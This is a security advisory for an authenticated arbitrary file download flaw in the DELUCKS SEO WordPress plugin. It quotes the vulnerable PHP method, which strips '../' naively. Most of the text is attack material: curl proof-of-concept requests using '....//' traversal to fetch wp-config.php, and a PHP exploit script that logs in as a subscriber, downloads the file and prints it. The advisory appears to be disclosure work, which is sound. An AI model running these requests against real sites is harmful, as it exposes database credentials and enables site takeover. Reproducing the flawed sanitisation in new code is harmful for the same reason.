DELUCKS SEO [Authenticated Arbitrary File Download]

Description

Plugin DELUCKS SEO implements the POST action dpc_importexport_download. This action is a privileged one so it is only available to registered users. When it is fired it calls the \DPC_Module_Dpc_Importexport::download() method. This method fails to implement proper security check to prevent a path traversal, thus allowing a registered user to download arbitrary files from the vulnerable server.

Vulnerable method \DPC_Module_Dpc_Importexport::download():

function download(){
    if(isset($_GET['system'])){
        if(!isset($_GET['file']) || !is_readable($file = $this->defaultSettingsDir . str_replace('../', '', $_GET['file']))){
            return false;
        }
    } else {
        if(!isset($_GET['file']) || !is_readable($file = $this->dpc->uploadDir . 'settings/' . str_replace('../', '', $_GET['file']))){
            return false;
        }
    }


    header('Content-Description: File Transfer');
    header('Content-Type: text/dpc');
    header('Content-Disposition: attachment; filename='.str_replace('../', '', $_GET['file']));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    #ob_clean();
    #flush();
    readfile($file);
    exit;
}

PoC

This will succeed in any case

curl 'http://sbwp1.dev/wp-admin/admin-post.php?action=dpc_importexport_download&system=1&file=....//....//....//....//....//....//....//wp-config.php'

This will succeed iff the /wp-content/uploads/dpc-data/settings dir is present, which is not by default.

curl 'http://sbwp1.dev/wp-admin/admin-post.php?action=dpc_importexport_download&file=....//....//....//....//wp-config.php'
#!/usr/bin/env php
<?php
/*******************************************************************************
 * DELUCKS SEO - Privilege Escalation Exploit
 *
 * Author: Pan Vag <[email protected]>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\WPAuthentication;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
	Cli::write( '[-] You must enter a valid URL', 'red' );
	exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

$s = new \Wordfence\ExKit\Session();

Cli::writeInfo('Authenticating with WordPress...');
WPAuthentication::logInAsUserRole($s, WPAuthentication::USER_ROLE_SUBSCRIBER);

Cli::writeInfo('Downloading wp-config.php file');

$r = $s->get(Endpoint::adminPostURL().'?action=dpc_importexport_download&system=1&file=....//....//....//....//....//....//....//wp-config.php');

if(!$r->success || strpos($r->body, 'DB_NAME') === false){
    ExitCodes::exitWithFailed('Exploitation failed. Maybe target is not vulnerable.');
}

Cli::writeSuccess('Successfully downloaded file. Printing contents...');
Cli::write($r->body);

ExitCodes::exitWithSuccess();

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX